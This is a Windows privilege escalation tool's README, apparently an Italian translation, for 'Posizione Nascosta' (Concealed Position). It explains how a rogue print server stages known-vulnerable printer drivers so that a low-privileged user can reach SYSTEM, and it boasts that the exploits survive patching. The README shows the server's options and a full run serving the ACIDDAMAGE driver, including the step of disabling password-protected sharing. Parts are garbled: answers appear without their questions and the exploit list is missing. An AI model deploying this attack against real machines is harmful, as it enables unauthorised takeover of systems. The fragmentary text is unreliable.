
Strumento di escalation dei privilegi con driver di stampa personalizzato
Posizione Nascosta è un attacco di escalation dei privilegi locale contro Windows che utilizza il concetto di "Bring Your Own Vulnerability". Nello specifico, Posizione Nascosta (CP) sfrutta la logica as designed di pacchetto e stampa punto a punto in Windows che consente a un utente con bassi privilegi di organizzare e installare driver di stampa. CP installa in particolare driver con vulnerabilità note che vengono poi sfruttate per escalare a SYSTEM. Posizione Nascosta è stato presentato per la prima volta al DEF CON 29.
Posizione Nascosta offre quattro exploit - tutti con nomi altrettanto stupidi:
Gli exploit sono carini perché, oltre a SLASHINGDAMAGE, continueranno a funzionare anche dopo che i problemi sono stati patchati. L'unico meccanismo che Windows ha per impedire agli utenti di utilizzare driver vecchi è revocare il certificato del driver - cosa che storicamente non viene fatta(?).
Probabilmente ACIDDAMAGE. RADIANTDAMAGE e POISONDAMAGE sono race condition (per sovrascrivere una DLL) e SLASHINGDAMAGE, si spera, sia patchato quasi ovunque.
Posizione Nascosta ha due parti. Una stampante malvagia e un client. Il client contatta il server, prende un driver, lo fa memorizzare nel driver store, installa la stampante e sfrutta il processo di installazione. Facile! Nel linguaggio MSAPI, l'attacco funziona più o meno così:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
È importante notare che SLASHINGDAMAGE in realtà non funziona così. SLASHINGDAMAGE è un'implementazione dell'attacco della stampante malvagia descritto al DEFCON 28 (2020) ed è stato patchato da tempo. Mi capita solo di apprezzare l'attacco (ha scatenato il resto di questo sviluppo) e ho pensato di lasciare l'exploit nel mio server malvagio... per quanto possa essere confusionario.
Discutibilmente, sì. Il driver store è una "collezione attendibile di ... pacchetti di driver di terze parti" che richiede accesso amministratore per essere modificata. Usando GetPrinterDriver un utente con bassi privilegi può organizzare driver arbitrari nello store. Questo, secondo me, supera un chiaro confine di sicurezza.
Microsoft sembrava d'accordo quando ha emesso CVE-2021-34481.
Anche se... è discutibile che questa sia semplicemente una funzionalità del sistema e non una vulnerabilità. In realtà non importa molto. Un attaccante può escalare a SYSTEM su installazioni Windows standard.
Almeno Windows 8.1 e successive.
Semplice! Così semplice che ci saranno molti paragrafi per descriverlo!
Prima, diamo un'occhiata alle opzioni della riga di comando di cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
Opzioni CLI:
-h, --help Mostra il messaggio di aiuto
-e, --exploit arg L'exploit da utilizzare
-c, --cabs arg (=.\cab_files) La posizione dei file cabinet
Exploit disponibili:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Sopra puoi vedere che il server richiede due opzioni:
Ad esempio, supponiamo di voler configurare una stampante malvagia che serva il driver ACIDDAMAGE. Basta fare così:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creazione spazio temporaneo...
[+] Estrazione .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Inserimento nel driver store
[+] Pulizia spazio tmp
[+] Installazione driver di stampa
[+] Driver installato!
[+] Installazione stampante condivisa
[+] Stampante condivisa installata!
[+] Automazione completata.
[!] PASSAGGI MANUALI IMPORTANTI!
[0] In Impostazioni di condivisione avanzate, disattiva Condivisione protetta da password.
[1] Pronto per partire!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Ecco fatto, vedrai una nuova stampante nel tuo sistema:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer